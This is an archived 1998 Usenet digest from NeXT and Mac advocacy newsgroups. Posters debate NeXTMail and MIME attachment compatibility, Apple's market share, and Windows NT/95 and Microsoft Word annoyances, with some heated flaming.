>> > * position to BUY SONY rather than the other way around.
>> >Sony's market cap is $34 billion. Apple's is $3.7 billion.
>>
>> Of course, I was being facetious. But, let's wait a few weeks and see
>> what the market cap is then :-)
>>
>>
>
>Weeks... really? My aren't we optimistic!
>
>-r
>
Or pessimistic. Or an inside information job.
EDEW
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MSNBC : NeXT-Windows compatibility issue
Date: 1 May 1998 21:39:59 GMT
Organization: Cygnus Solutions
Message-ID: <6idfff$qq1$3@cronkite.cygnus.com>
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In <354A3B5A.66C5@CONVEX.COM> Michael Peck wrote:
> John Rudd wrote:
>
> > I use NeXT Mail here, and have never had even one passing problem with my
> > Eudora, Netscape, etc users on Windows. In fact, quite often they
forward
> > messages to _ME_ from around the net because my mail reader is so much
better
> > at extracting attachments than theirs. I also send attachments to users
all
> > the time. Never a glitch. Further, I don't know of anyone who has had a
> > glitch using the mime support in NeXT Mail for exchanging attachments
with
> > windows users. The only time I have heard of any problem exchanging
email
> > between any Unix vendor's systems (next or not) and a Windows system, it
was
> > the fault of a proprietary mail format/gateway on the Windows part of the
> > equation.
>
> Then I apologize; I had assumed, as I said in my original message, that
> "NeXTMail okay" indicated a possible incompatibility between NeXT mail
> systems and MIME-compliant ones. If I was mistaken, I withdraw my
> remarks. If I was not, perhaps someone can explain the nature of the
> incompatibility.
>
There used to be a problem among Next newbies that they would send NeXTMail
formatted messages. NeXTMail's own multi-media format (which predates Mime,
I think.. or at least before Mime was widely accepted) is basically a
uuencoded tar file of an rtf (file or directory). However, at that time
there wasn't a good way to send attachments that most people would be able to
recieve. It became a habbit among next users to identify themselves as being
able to recieve such mail in their .sig's.
There are some people out there that still send things NeXT mail as their
default... so there are still people that indentify themselves as being able
to recieve it. And, there's probably some amount of pride to it as well :-)
(I don't mention it in mine more because I prefer to show that my choice of
OS's is entirely transparent to other users -- Openstep plays well in an open
world).
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: US Market Share UP! Whooee!
Message-ID: <edewEsAsv3.Dpo@netcom.com>
Sender: edew@netcom7.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <6iara8$91g$2@ha2.rdc1.sdca.home.com> <3548F434.729A@CONVEX.COM> <rmcassid-3004981636130001@dante.eng.uci.edu>
Date: Fri, 1 May 1998 21:54:39 GMT
In article <rmcassid-3004981636130001@dante.eng.uci.edu> rmcassid@uci.edu (Robert Cassidy) writes:
>In article <3548F434.729A@CONVEX.COM>, Michael Peck <MJPECK@CONVEX.COM> wrote:
>
>>Didn't they also report that they expected to raise 50% of their revenue
>>from their website this coming year? I was surprised the percentage was
>>so low; I thought they got most of their sales from the website.
>
>I was surprised it was that low as well. I think Dell does a lot of
>business with large orders. My stepfather decided to upgrade all the
>computers at his company and ordered them all from Compaq, I think. It was
>something like 6,000 systems. Takes a lot of hits on a website to make up
>for those kinds of volumes.
>
>>Anyway, Apple reported that less than 1% of its revenue came from the
>>Apple Store last quarter. I think there's a lot of room for improvement
>>there.
>
>Lots and lots of room. I consult the site a lot but have never bought
>there (better prices on campus). The site has really helped me make up my
>mind, though, so I think it's value is somewhat hidden in the numbers.
>We'll see what they can do for a BTO laptop...
>
>-Bob Cassidy
6K systems at $2K per system is $12M, about three days of hits to the
website. So, in reality, Dell's website is receiving about 2000-3000
hits a day. And that's worldwide.
EDEW
From: "Paul Arthur" <parthur@opNoSpam.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: 1 May 98 18:22:04 -0500
Organization: OpNet -- Greater Philadelphia Internet Service
Message-ID: <B16FC351-71A30@209.152.194.71>
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On Fri, May 1, 1998 10:17 AM, Geordie Korper <mailto:geordie@chapman.com>
wrote:
>That does not seem to be what dataquest was saying in their report. I
>believe the numbers compared 3.4% and 4% were last quarter 97 and first
>quarter 98. Usually 4th quarter is higher volume and indeed this was the
>case here as well. Apple's percentage of market went up but unit sales
>were down.
Actually, Apple's 4th quarter was lower volume. I believe they shipped
625,000 machines in the last calendar quarter of 1997, and 650,000 in the
first quarter of 1998. This is highly unusual since Apple usually has a
good Christmas quarter, and the first quarter of any year is usually
Apple's worst (in terms of unit shipments). This bodes well for future
quarters, provided Apple doesn't screw things up somehow.
Paul Arthur
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: Fri, 01 May 1998 17:36:04 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <354A4E54.5ABA@CONVEX.COM>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <MPG.fad7a7c96bc87a49896cb@news.unt.edu> <joe.ragosta-2704980556030001@elk45.dol.net> <6ibiba$clc@argentina.earthlink.net> <joe.ragosta-0105980840220001@wil106.dol.net> <MPG.fb38710b4ed417898971d@news.itg.ti.com> <joe.ragosta-0105981323270001@wil111.dol.net> <MPG.fb3ce561c3ae1c098971e@news.itg.ti.com> <354A2EE8.E369E3D8@trilithon.com> <MPG.fb4017d7b738828989725@news.itg.ti.com>
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Jason McNorton wrote:
> You are VASTLY overestimating the downtime of Windows computers. I've
> had just a few nasty things happen since Win95 was introduced, and I've
> added HD's, cdroms, motherboard swaps.. You name it.
How about installing a working Fire GL 1000 Pro into a working NT box
from a working NT box and seeing four different versions of the drivers
fail upon initial boot with a complete OS reinstall between each driver
revision install?
Maybe you want a Win95 example: watching Windows try to load the drivers
for an Intel EtherExpress Pro 10/100B PCI Fast Ethernet adapter by
asking for a disk, then asking for the Win95 CDROM, then failing to find
files on either volume when I *just* specified *both* locations
explicitly with Windows' damned drive-letter nomenclature?
It gets better: after twice reminding Win95 where the drivers where, the
machine reboots, gets to just before the login prompt, and find new
hardware! "Please insert driver disk", whereupon it finds the drivers,
asks me again where they are (I thought it just found them!), and
reboots again. This cycle repeats until I reinstall the operating system
from scratch with the EtherExpress in the box.
> Sorry, but the
> main thing that Macs I've used have done is crash. I have an older Mac
> now that is having problems connecting to PPP. It gives a cryptic error
> saying "PPP failed to initialize" even though I can see no problems.
Nobody should argue that Macs are stable, but neither should Win95's
stability be touted. And *please*, don't tell me it was easier to
install Trumpet Winsock under Win3.x back in the old days. I don't think
I ever got a reasonably stable PPP connection with that piece of trash.
MJP
From: satoru@candenext.lsa.berkeley.edu (Satoru Uzawa)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MSNBC : NeXT-Windows compatibility issue
Date: 1 May 1998 22:41:57 GMT
Organization: University of California, Berkeley
Message-ID: <6idj3l$g0r$1@agate.berkeley.edu>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
Michael Peck (MJPECK@CONVEX.COM) wrote:
:
: article meant. In any case, the deficiency in email (the stated example
: of incompatibility) was NeXT's fault, not Microsoft's.
:
Once I needed to distribute a mail with attachment to various systems. I
used Mail.app's MIME capability. Only person who couldn't get it right
was a windows95 user..... It was fine on DEC ULTRIX, SUN, NEWS,
FUJITSU, Mac (Eudora) and SGI. Guess who did something wrong for mail
handling.
---
Satoru Uzawa, satoru@candenext.lsa.berkeley.edu (NeXTmail welcome)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Complaints about MS products (was: Re: Flipping Joe's Bozo Bit)
Message-ID: <edewEsAv25.HEB@netcom.com>
Sender: edew@netcom7.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <joe.ragosta-0105981323270001@wil111.dol.net> <MPG.fb3ce561c3ae1c0989 <MPG.fb4017d7b738828989725@news.itg.ti.com>
Date: Fri, 1 May 1998 22:42:05 GMT
In article <MPG.fb4017d7b738828989725@news.itg.ti.com> jmcn@msg.ti.com (Jason McNorton) writes:
>
>You are VASTLY overestimating the downtime of Windows computers. I've
>had just a few nasty things happen since Win95 was introduced, and I've
>added HD's, cdroms, motherboard swaps.. You name it. I've seen other
>people have a few problems, but the workarounds/fixes were fairly easy.
>Maybe it comforts you to think that all Windows people do is
>troubleshoot, but it's just not the case. I get work done, play games,
>and have fun on all the Windows machines I've ever had. Sorry, but the
>main thing that Macs I've used have done is crash. I have an older Mac
>now that is having problems connecting to PPP. It gives a cryptic error
>saying "PPP failed to initialize" even though I can see no problems.
>--
>A world without the Mac is a step closer to utopia.
Ok, how's this? I use an NT at work. About once every other week, the
keyboard decides to stop working. I have to mouse click everything off
before I log off and reboot. Then it works ok, for another two or so
weeks. Is this acceptable? My NeXT station at home has been on for about
six months with occasional power-down when I take off for a weekend or
longer.
At work, our desktop machines are NTs, but we work with QNX, a unix variant.
So, I telnet from NT to QNX. However, every once in a while, vi doesn't
work. Mail from QNX to NT doesn't get printed (I send the same file to
my netcom account and I can see it clearly). I can't copy-paste more than
twenty lines into a file on qnx (via vi). So, if I need to copy-paste
2000 lines, I either have to ftp it over to qnx or do ten copy-paste
steps. Is this acceptable?
Note that NT's telnet window uses the old-fashioned menu. Copy-paste requires
alt-Edit-> Copy. MS Word, for example, uses the Ctrl-C. Having different
UIs for copy-paste...acceptable? I don't think it is.
Speaking of MS Word...some words at the beginning of a sentence must be
UN-CAPITALIZED. Well, MS Word auto-capitalizes for me. Is there a preference
menu item to stop that? Well, the closest I can find is Format->Change Case.
It doesn't allow me to set a preference, but that's what I need to use to
un-capitalize a letter. Is this acceptable? Why don't we have a NeXTSTEP
style of preferences for all apps?
Sometimes, MS Word doesn't allow me to use a particular font. Why's that?
We all know that what you see on the
screen ISN'T what's going to be printed, even when you look at the print
preview. MS Excel has this problem. What I see in the columns are, when
printed, written on top of each other (ok, just partially).
And what's with this windows-in-a-windows crap? There's the application
window, and then the document window within it. If you need to see multiple
applications, you need to shrink the application window small enough to
have enough screen real-estate to see other apps. But application windows
don't have scroll bars, just the document window. So, if you shrink the
app window, you might hide the doc window's scroll bar and you have do some
juggling before you can get the doc window's scroll bars and shrink the doc
window down to see the bars. It's a bunch of nonsense. Waste of screen
real-estate, windows in windows, multiple apps if you open the app several
times. Is this acceptable?
Maybe Apple should start a new ad campaign: Is this acceptable? and do
a compare and contrast. (Of course, the MacOS Finder is equally unacceptable
in my book, as well as the fact that the scroll bars are on the right
hand side, but I think that discussion has been through here more than once
before.)
EDEW
From: echo4@NOSPAM.idt.net (JWL) --delete NOSPAM
Newsgroups: comp.sys.next.advocacy
Subject: Re: MSNBC : NeXT-Windows compatibility issue
Date: 1 May 1998 22:49:25 GMT
Organization: IDT
Message-ID: <6idjhl$mch@nnrp3.farm.idt.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6idbp7$qq1$1@cronkite.cygnus.com> <354A3B5A.66C5@CONVEX.COM>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: MJPECK@CONVEX.COM
In <354A3B5A.66C5@CONVEX.COM> Michael Peck wrote:
> John Rudd wrote:
>
> > I use NeXT Mail here, and have never had even one passing problem with my
> > Eudora, Netscape, etc users on Windows. In fact, quite often they
forward
> > messages to _ME_ from around the net because my mail reader is so much
better
> > at extracting attachments than theirs. I also send attachments to users
all
> > the time. Never a glitch. Further, I don't know of anyone who has had a
> > glitch using the mime support in NeXT Mail for exchanging attachments
with
> > windows users. The only time I have heard of any problem exchanging
email
> > between any Unix vendor's systems (next or not) and a Windows system, it
was
> > the fault of a proprietary mail format/gateway on the Windows part of the
> > equation.
>
> Then I apologize; I had assumed, as I said in my original message, that
> "NeXTMail okay" indicated a possible incompatibility between NeXT mail
> systems and MIME-compliant ones. If I was mistaken, I withdraw my
> remarks. If I was not, perhaps someone can explain the nature of the
> incompatibility.
>
> MJP
>
Michael,
On a personal note, I include "NeXTMail OK" in .sig to tell other NeXT users
(more so than other Windows/MAC/other UNIX users) that I have the ability to
received NeXT specific mail, meaning. Services like Lip service which is an
option that is unique to NeXTMail. I am sure there are windoze programs
(now) that has similiar capabilities, but back in the early 90's, MS and all
the win3.1 and win3.11 developers were still stratching their asses.
Personally, I think that the compatibility issue was more of a corporate
political issue than it was a technically issue. Anyway, that's my two
cents concerning this issue.
Jay Lee
echo4@NOSPAM.idt.net --delete NOSPAM
NeXTMail & MIME OK!
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Complaints about MS products (was: Re: Flipping Joe's Bozo Bit)
Date: Fri, 01 May 1998 17:54:27 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <354A52A3.4BD9@CONVEX.COM>
References: <joe.ragosta-0105981323270001@wil111.dol.net> <MPG.fb3ce561c3ae1c0989 <MPG.fb4017d7b738828989725@news.itg.ti.com> <edewEsAv25.HEB@netcom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Eric Dew wrote:
> Note that NT's telnet window uses the old-fashioned menu. Copy-paste requires
> alt-Edit-> Copy. MS Word, for example, uses the Ctrl-C. Having different
> UIs for copy-paste...acceptable? I don't think it is.
Oy! I'm glad somebody else has asked this question. The whole 95/NT
telnet business is unbelievable. Can anyone explain why my 95 telnet
always opens with the window partially *shrunk*? Every time I use it I
have to grow it to full size by one column and one row so that my
terminal doesn't go nuts on curses stuff.
> Speaking of MS Word...some words at the beginning of a sentence must be
> UN-CAPITALIZED. Well, MS Word auto-capitalizes for me. Is there a preference
> menu item to stop that? Well, the closest I can find is Format->Change Case.
> It doesn't allow me to set a preference, but that's what I need to use to
> un-capitalize a letter. Is this acceptable? Why don't we have a NeXTSTEP
> style of preferences for all apps?
There is a setting in "Options..." that lets you turn this off. I know
it's there, it's one of the first things I do to a new installation...I
just can't remember what it's called right now...
> Maybe Apple should start a new ad campaign: Is this acceptable? and do
> a compare and contrast. (Of course, the MacOS Finder is equally unacceptable
> in my book, as well as the fact that the scroll bars are on the right
> hand side, but I think that discussion has been through here more than once
> before.)
Don't get me wrong, but frankly, the problem with such a campaign is
that all of these things *are* acceptable. I don't like it any more than
anyone else, but despite all the complaints, Microsoft's products aren't
unacceptable. They suck, yes, but they're perfectly acceptable to the
world at large. An Apple ad campaign to the effect described above would
simply underscore this fact and make Apple seem all the more irrelevant
for pushing the moral high ground (especially since Apple is highly
vulnerable to the same complaints).
MJP
From: jmcn@msg.ti.com (Jason McNorton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: Fri, 1 May 1998 16:58:29 -0500
Organization: Texas Instruments
Message-ID: <MPG.fb4017d7b738828989725@news.itg.ti.com>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <MPG.fad7a7c96bc87a49896cb@news.unt.edu> <joe.ragosta-2704980556030001@elk45.dol.net> <6ibiba$clc@argentina.earthlink.net> <joe.ragosta-0105980840220001@wil106.dol.net> <MPG.fb38710b4ed417898971d@news.itg.ti.com> <joe.ragosta-0105981323270001@wil111.dol.net> <MPG.fb3ce561c3ae1c098971e@news.itg.ti.com> <354A2EE8.E369E3D8@trilithon.com>
In article Henry McGilton, henry@trilithon.com says...
> Jason McNorton wrote:
>
> * Well, the problem is that the Mac vs. PC debate boils
> * down to personal preference and biased studies. What
> * this is really about is a major personality conflict.
> * Mac people hate Windows people, and vice versa.
>
> * They hate the people in fact more than the platforms.
>
> * Mac people are less technically inclined overall, and
> * Windows people despise that. Windows people are more
> * tolerant of techie stuff, and Mac people can't understand
> * that.
> I don't buy this last bit at all. The issue is not whether
> Mac people (or Windows users for that matter) are or are not
> technically inclined. The real issue is whether you want to
> spend your time getting done the work you wanted to get done,
> or whether you want to spend your time screwing around fixing
> the computer hardware and software.
You are VASTLY overestimating the downtime of Windows computers. I've
had just a few nasty things happen since Win95 was introduced, and I've
added HD's, cdroms, motherboard swaps.. You name it. I've seen other
people have a few problems, but the workarounds/fixes were fairly easy.
Maybe it comforts you to think that all Windows people do is
troubleshoot, but it's just not the case. I get work done, play games,
and have fun on all the Windows machines I've ever had. Sorry, but the
main thing that Macs I've used have done is crash. I have an older Mac
now that is having problems connecting to PPP. It gives a cryptic error
saying "PPP failed to initialize" even though I can see no problems.
--
A world without the Mac is a step closer to utopia.
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: 1 May 1998 23:33:10 GMT
Organization: The Avant-Garde of the Now, Ltd.
Message-ID: <slrn6kkmtm.nti.mbkennel@lyapunov.ucsd.edu>
References: <35458606.0@news.depaul.edu> <6i4sg4$mb9@mozo.cc.purdue.edu> <jayfar-2804981604340001@chestnut1-38.slip.netaxs.com> <stone-ya02408000R2904981349390001@news.enetis.net> <35478DF9.21CC@CONVEX.COM> <slrn6kfqnv.lj9.sal@panix3.panix.com> <3548C22A.3E88DCA9@nstar.net> <slrn6khtej.2gq.sal@panix3.panix.com> <35499A6E.DA61E13@nstar.net>
On Fri, 01 May 1998 04:48:30 -0500, Michael Peck <mjpeck@nstar.net> wrote:
:Salvatore Denaro wrote:
:
:> They are *NOT* meaningless to people who know how to use them.
:
:Which would, of course, be Salvatore Denaro!
:
:> They show the rate of change between to sample points. If you don't know
:> why this is useful, then RTFM.
:
:Rate of change is another description of yet the same thing we've been
:talking about. Do you think that by changing the phraseology you'll snow
:in the discussion? If I call it the first derivative, will you be duly
:impressed? Maybe I should be looking for inflection points and maximums,
:all based on two statistical data.
:
:Is this what you propose? This is meaningful statistical measurement: to
:measure derivates (let's call it "acceleration" in this paragraph) on
:the basis of TWO absolute data?
:
:You might need to head back to Prob/Stat and revisit the section on
:small populations and error as you take multiple derivatives of the
:data.
The relevant test is for comparision of two proportions from observed
samples of data. Most likely it looked like this:
A(1) total # of apple machines
---- = 0.037
N(1) total # of machines in sample
A(2)
--- = 0.040 in second time period.
N(2)
Given A1, A2, N1, N2 it is very easy to construct a test for the equality
or nonequality of the underlying true proportion in both time periods.
:> >When you measure percentages, it is only statistically meaningful to
:> >measure percentages of fixed amounts,
Not necessarily. See above.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MSNBC : NeXT-Windows compatibility issue
Date: 1 May 1998 17:59:24 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6id2hs$6oi$1@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: MJPECK@CONVEX.COM
In <354A3627.21CA@CONVEX.COM> Michael Peck claimed:
> My fault, I misspoke. What I meant to say was that this system isn't
> adequate for MIME attachments.
Ahh yes. This is the first time I've seen any system correctly deal with
it in these cases though - although I think they would do well to support it
on drag-n-drop "additions" as well as just cut-n-paste. Yet what it does it
does better than anyone else, it tells you you can't simply include it, and
asks if you'd rather UUE it or paste it as a filename (it should also ask if
you want to change to MIME though).
Of course I should also point out this is one of the _few_ things in Mail I
do like. Overall I think it's quite possibly thw worst mail app I've used.
The interface bites, it's slow, it doesn't support folders-within-folders, it
doesn't have filtering, quoting, support for POP3 or IMAP4 (let alone NNTP)
etc etc etc (yes I know some of these can be added via 3rd party add ons).
> In a way, I suppose it's impossible to pin the blame for this on
> anybody. Lack-of-applications certainly isn't any one party's fault.
But even in these situations you'd think there'd be a gateway available.
> What bothered me about the original post was that it unilaterally
> assumed that blame for the incompatibility was Windows' fault.
That's not how I read it! Far from it, I saw them assigning blame to NeXT!
What led you to see it that way?
Maury
From: telam@iquest.net (Tom Elam)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Complaints about MS products (was: Re: Flipping Joe's Bozo Bit)
Date: Fri, 01 May 1998 23:04:17 GMT
Organization: What? Here? No way!
Message-ID: <354a53e2.1791245@news.newsguy.com>
References: <joe.ragosta-0105981323270001@wil111.dol.net> <MPG.fb3ce561c3ae1c0989 <MPG.fb4017d7b738828989725@news.itg.ti.com> <edewEsAv25.HEB@netcom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
On Fri, 1 May 1998 22:42:05 GMT, edew@netcom.com (Eric Dew) wrote:
SNUP
>
>Speaking of MS Word...some words at the beginning of a sentence must be
>UN-CAPITALIZED. Well, MS Word auto-capitalizes for me. Is there a preference
>menu item to stop that? Well, the closest I can find is Format->Change Case.
>It doesn't allow me to set a preference, but that's what I need to use to
>un-capitalize a letter. Is this acceptable? Why don't we have a NeXTSTEP
>style of preferences for all apps?
>
Are you like totally clueless or what? The caps problem can be solved by:
Tools
Autocorrect
Uncheck the Capitalize First Letter of Sentences option
Want to know how I found it?
Help
Help Topics
Index tab
Looked up the word Capitals
Found the solution in about 3 seconds
Geeeez - how do you even hold down a job?
---------------------------------------------
Tom Elam
The Family Home Page is at:
http://members.iquest.net/~telam/homepage.html
The universe is not only stranger than we imagine,
it's stranger than we CAN imagine
Isaac Asimov
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: Fri, 1 May 1998 17:08:06 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d8cer9.162pffv1oi3qnaN@carina45.wco.com>
References: <6hlrvl$q9q$1@nnrp1.dejanews.com> <353ea292.0@news.depaul.edu> <see-below-2204982044230001@209.24.241.227> <B164DB39-6C834@206.165.43.25> <joe.ragosta-2304981555560001@wil124.dol.net> <354185ca.0@news.camtech.net.au> <slrn6k4t6v.5e0.mbkennel@lyapunov.ucsd.edu> <3543eebe.0@news.camtech.net.au> <B1697D67-1951D@206.165.43.144> <6i1ppg$bll$8@ironhorse.plsys.co.uk> <B16A0007-10066@206.165.43.105> <6i2e15$bll$17@ironhorse.plsys.co.uk> <B16A6E9E-90363@206.165.43.16> <6i461i$bll$18@ironhorse.plsys.co.uk> <B16B7C3B-18975@206.165.43.14> <1d87ua9.1hw5wjn1ui9hdiN@carina24.wco.com> <slrn6kf3os.3c5.mbkennel@lyapunov.ucsd.edu>
Matt Kennel <mbkennel@yahoo.com> wrote:
> One is in that very big room with the blue ceiling and the bright yellow
> light, the other, where people go after Garth and Wayne do that
> "doodleidooodleidoodlieldooldlie" stuff.
Ah. So that's what happened. I thught things looked different around
here...
--
Mike Paquette mpaque@wco.com
I'm not an officer, spokesperson, or high muckety-muck of Apple
Computer. I don't speak for Apple, and they don't speak for me.
Date: Fri, 01 May 1998 18:01:21 -0500
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MSNBC : NeXT-Windows compatibility issue
Message-ID: <alex-0105981801210001@castle.webis.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
Organization: Web Information Solutions---Interactive and database web design studio
In article <354A267F.4681@CONVEX.COM>, Michael Peck <MJPECK@CONVEX.COM> wrote:
: Maury Markowitz wrote:
: >
: > In <354A18DE.2819BDD3@nstar.net> Michael Peck claimed:
: > > I take this to mean that NeXT systems use a non-MIME-compliant mail
: > > message format, is this true?
: >
: > Only if you ask it too, otherwise it can be plain text. There's a button
: > in the window telling you what it's using, and now it includes MIME too
: > (although a hopelessly outdated version).
:
: Plain text isn't adequate for attachments, and perhaps this is what the
: article meant. In any case, the deficiency in email (the stated example
: of incompatibility) was NeXT's fault, not Microsoft's.
:
I should mention that my NeXt box (thanks to MJP) sends and receives mail
with Windows and Mac machines with no problems..attachments included.
--
Web Information Solutions CEO <http://www.WebIS.net>
VersaCom Chief Technology Officer <http://www.VersaCom.com>
I don't speak for my employer, which oddly enough is myself
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: Complaints about MS products (was: Re: Flipping Joe's Bozo Bit)
Message-ID: <edewEsB2Ar.M3n@netcom.com>
Sender: edew@netcom12.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <MPG.fb4017d7b738828989725@news.itg.ti.com> <edewEsAv25.HEB@netcom.com> <354A52A3.4BD9@CONVEX.COM>
Date: Sat, 2 May 1998 01:18:27 GMT
In article <354A52A3.4BD9@CONVEX.COM> Michael Peck <MJPECK@CONVEX.COM> writes:
>Eric Dew wrote:
>
>> Note that NT's telnet window uses the old-fashioned menu. Copy-paste requires
>> alt-Edit-> Copy. MS Word, for example, uses the Ctrl-C. Having different
>> UIs for copy-paste...acceptable? I don't think it is.
>
>Oy! I'm glad somebody else has asked this question. The whole 95/NT
>telnet business is unbelievable. Can anyone explain why my 95 telnet
>always opens with the window partially *shrunk*? Every time I use it I
>have to grow it to full size by one column and one row so that my
>terminal doesn't go nuts on curses stuff.
>
Oh, I forgot about that. My window isn't shrunk. Instead, I have to
mouse click five buttons before I can read the telnet window. I chose a
small font (terminal font, size 6) so I can open up many telnet sessions.
Well, everytime I open a new one, the window is huge. I have to click
five buttons (basically, the Terminal menu, then the Preferences menu
then the Font button, then two OK buttons) just to get the window size
correct so that the fonts display properly. Five pointless mouse clicks
that I can't avoid because the preferences menu can't handle me choosing
a size 6 font. Is that acceptable?
>> Speaking of MS Word...some words at the beginning of a sentence must be
>> UN-CAPITALIZED. Well, MS Word auto-capitalizes for me. Is there a preference
>> menu item to stop that? Well, the closest I can find is Format->Change Case.
>> It doesn't allow me to set a preference, but that's what I need to use to
>> un-capitalize a letter. Is this acceptable? Why don't we have a NeXTSTEP
>> style of preferences for all apps?
>
>There is a setting in "Options..." that lets you turn this off. I know
>it's there, it's one of the first things I do to a new installation...I
>just can't remember what it's called right now...
>
Hmm... can't find that option in the list of all options. BTW, is anyone
else tired of Clipit and his cohorts? Can anyone take those stooopid animated
help assistance any further? If there's anything that's going to make me
go postal...
EDEW
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: Fri, 01 May 1998 17:42:49 -0700
Organization: Trilithon Research and Trading
Message-ID: <354A6C09.FF3C8E77@trilithon.com>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <MPG.fad7a7c96bc87a49896cb@news.unt.edu> <joe.ragosta-2704980556030001@elk45.dol.net> <6ibiba$clc@argentina.earthlink.net> <joe.ragosta-0105980840220001@wil106.dol.net> <MPG.fb38710b4ed417898971d@news.itg.ti.com> <joe.ragosta-0105981323270001@wil111.dol.net> <MPG.fb3ce561c3ae1c098971e@news.itg.ti.com> <354A2EE8.E369E3D8@trilithon.com> <MPG.fb4017d7b738828989725@news.itg.ti.com>
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Jason McNorton wrote:
* You are VASTLY overestimating the downtime of Windows
* computers. I've had just a few nasty things happen
* since Win95 was introduced,
"Just a few nasty things" --- care to elaborate?
* and I've added HD's, cdroms, motherboard swaps..
Only swap out the entire CPU now and again --- piece of
cake, mate. Let's just change the car engine over the
weekend, no sweat.
* I get work done,
What kind of work?
* play games,
Shooting rocks, oh yes.
* and have fun on all the Windows machines I've ever had.
Fun --- people who are into S&M "have fun" as well.
I was speaking from personal experience of heavy duty Java
development over a period of nearly three years. With Windows
95, the system would wedge completely ten or more times per day.
Now on NT (4.0), it doesn't wedge as much. I was doing some work
for Adobe a couple of years back, and one of the large apps
would essentially crash NT on demand.
Today, I can get NT to a point where it can't launch Navigator,
for example; where the PPP connection deteriorates to a point
where it can't even find the IP host it's connected to; where
it pops up this cute alert in the face telling you you're
"running low on virtual memory"; and many more I'd rather
forget.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: jayfar@netaxs.com (Jayfar)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: US Market Share UP! Whooee!
Date: Fri, 01 May 1998 22:11:22 -0400
Organization: Jayfar's Original Virtual Macintosh
